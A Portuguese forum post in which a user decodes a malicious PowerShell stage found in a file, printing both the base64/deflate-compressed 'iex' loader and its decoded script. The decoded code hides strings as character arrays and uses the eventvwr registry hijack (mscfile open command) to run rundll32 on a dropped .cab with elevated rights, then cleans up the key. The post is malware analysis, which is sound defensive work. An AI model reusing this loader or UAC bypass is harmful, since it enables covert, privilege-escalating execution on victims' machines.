andremilke
(usa Debian)
Enviado em 25/11/2016 - 10:56h
Na linha 28, do arquivo descompactado há uma outra execução, criptada em 64, decriptei e cheguei no código abaixo:
sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('xVNLj5swED5vpPwHHyIlUU2FAfPYqocWhao9ZKPNqpcoBwqzDRWP1DjZjdL97/WLQNSVeuihEgajGc98D88kz9F7NI3vEscPksgjdJG4lITx2yz9hmM3oYuPi5hM341Hk6ypqrSW+bNNtkvZZrud+QGmIY4cHAaY2BQTYouvWISIFYlFVdTFxCHqjxBfZIi9HWFKMLVlPIrUvzzpmbBjq6/rYC+QcbEhxOkLyxzi6ZK2Z0qGav1ZQmcGPTyTqQGIBNcckXESSk4+xaEtH1/vPfkWUANNVCJWRTtWsr2j2P1dDe+igKIkgERBL4xKmiPrR1PUaDqdozdokufSgX3Kd1fyBwIPxcKEkHY+uFdYZFdVW7cUCX7QN6RGvq6pgaTZyQqSg5JKHX1N66izxLkIaPwkhqFtECgpBrQEoeIRzWafgFufOVQr1uyB8ROyVpKmJmst0woGhD3lhwbg6LqajyTrkaFq1oKxhn3IeNHUaF2UUPPyFDc1L+oDiDD8RJP6UJbz8814tIQnBaJrmzQsA/TrBnWBHt0/IPqalgdAl0GyuqIPpz2glrOi/n5pje4O3FoKfOhlPIKyhTM8F/xFXgM4Ci7HJ7bS1+GLqK810+/ZZlEfC9bUlUjb3t4KgZOmzEHlz3rkrw/lAPBc7ONdUeambHdQGx0OJsbX/0QPxfX8XVu+5injkngGbSvICl+03UNSl7x1CbBH1hqyps5bRCX7qs0eu1P/ZxaGjJC+xQ/QcnNvB/jm6HwPVXMEc7eG0K17yA6sBWO4NPY3'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
Executei meu programa em C# novamente, com essa outra string de um arquivo comprimido e cheguei no seguinte:
$dd = 'COF267F9415EF3518C.cab,C3F5EBEC1';
$command = ([char[]](67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,99,109,100,46,101,120,101,32,47,99,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,114,117,110,100,108,108,51,50,32,36,101,110,118,58,65,80,80,68,65,84,65,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,92,84,101,109,112,108,97,116,101,115,92) -join '') + $dd;
$path = ([char[]](72,75,67,85,58,92,83,111,102,116,119,97,114,101,92,67,108,97,115,115,101,115,92,109,115,99,102,105,108,101,92,115,104,101,108,108,92,111,112,101,110,92,99,111,109,109,97,110,100) -join '');
if ((Get-ItemProperty -Path $path -Name ([char[]](40,68,101,102,97,117,108,116,41) -join '') -ErrorAction SilentlyContinue) -eq $null){
New-Item $path -Force | New-ItemProperty -Name ([char[]](40,68,101,102,97,117,108,116,41) -join '') -Value $command -PropertyType string -Force | Out-Null }
else{exit};
$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath(([char[]](83,121,115,116,101,109) -join ''))) -ChildPath ([char[]](101,118,101,110,116,118,119,114,46,101,120,101) -join '');
Start-Process -FilePath $eventvwrPath;
Start-Sleep -Seconds 5;
$mscfilePath = ([char[]](72,75,67,85,58,92,83,111,102,116,119,97,114,101,92,67,108,97,115,115,101,115,92,109,115,99,102,105,108,101) -join '');
if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};